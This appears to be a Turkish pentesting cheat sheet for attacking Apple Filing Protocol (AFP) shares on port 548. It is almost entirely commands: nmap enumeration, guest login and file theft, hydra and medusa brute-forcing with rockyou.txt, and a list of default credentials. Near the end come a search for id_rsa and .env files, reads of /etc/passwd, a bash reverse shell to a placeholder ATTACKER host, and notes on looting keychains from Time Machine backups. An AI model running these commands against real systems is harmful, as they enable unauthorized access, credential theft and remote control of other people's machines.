Skip to content

548 - Pentesting Apple Filing Protocol (AFP)

AFP fileshare

Apple Filing Protocol macOS/NAS paylaşımıdır. Guest ve zayıf hesap dosya sistemine erişir. Hedef lab IP’si üzerinde komutları 548 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 548/584 doğrula.

  2. afp-serverinfo / shares.

  3. Guest login.

  4. Dosya indir / yaz.

Terminal window
nmap -Pn -sV -p548,584 TARGET
Terminal window
nmap -Pn -p548,584 --script afp-serverinfo,afp-showmount,afp-ls TARGET
Terminal window
afp_client login TARGET guest
Terminal window
nmap -p548 --script afp-ls TARGET
Terminal window
afp_client getfile TARGET share /path/file
Time Machine backups → keychains
Terminal window
nmap -p548 --script afp-brute TARGET
Terminal window
hydra -L users.txt -P pass.txt afp://TARGET

Apple Filing Protocol (AFP) için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p548,584 TARGET
Terminal window
nmap -Pn -p548 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:548' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',548));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Apple Filing Protocol (AFP)
Terminal window
hydra -L users.txt -P rockyou.txt -s 548 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 548
Terminal window
nmap -p548 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit AFP
Terminal window
msfconsole -q -x 'search AFP; exit'
Terminal window
nuclei -u https://TARGET:548 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:548 -tags tech -silent || true
Terminal window
nc -nv TARGET 548
Terminal window
printf '
' | timeout 3 nc -nv TARGET 548
Terminal window
curl -vk --http1.0 http://TARGET:548/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
afp enum → guest/creds → backup loot → keychain